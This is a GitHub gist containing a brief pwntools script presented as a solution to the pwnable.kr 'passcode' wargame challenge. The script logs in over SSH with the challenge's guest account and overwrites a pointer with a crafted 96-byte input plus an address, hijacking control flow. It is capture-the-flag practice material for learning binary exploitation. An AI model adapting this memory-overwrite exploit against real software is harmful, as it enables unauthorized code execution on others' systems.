Skip to content

Instantly share code, notes, and snippets.

@parksjin01
Last active March 16, 2017 20:52
Show Gist options
  • Save parksjin01/3bd09a40362c18128923ad35e4f0c5ca to your computer and use it in GitHub Desktop.
Save parksjin01/3bd09a40362c18128923ad35e4f0c5ca to your computer and use it in GitHub Desktop.
pwnable.kr passcode writeup
from pwn import *
sh = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)
proc = sh.process('/home/passcode/passcode')
print proc.recv(1024)
proc.sendline('a'*96+'\x04\xa0\x04\x08')
print proc.recv(1024)
proc.sendline('134514147')
print proc.recvuntil(':(')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment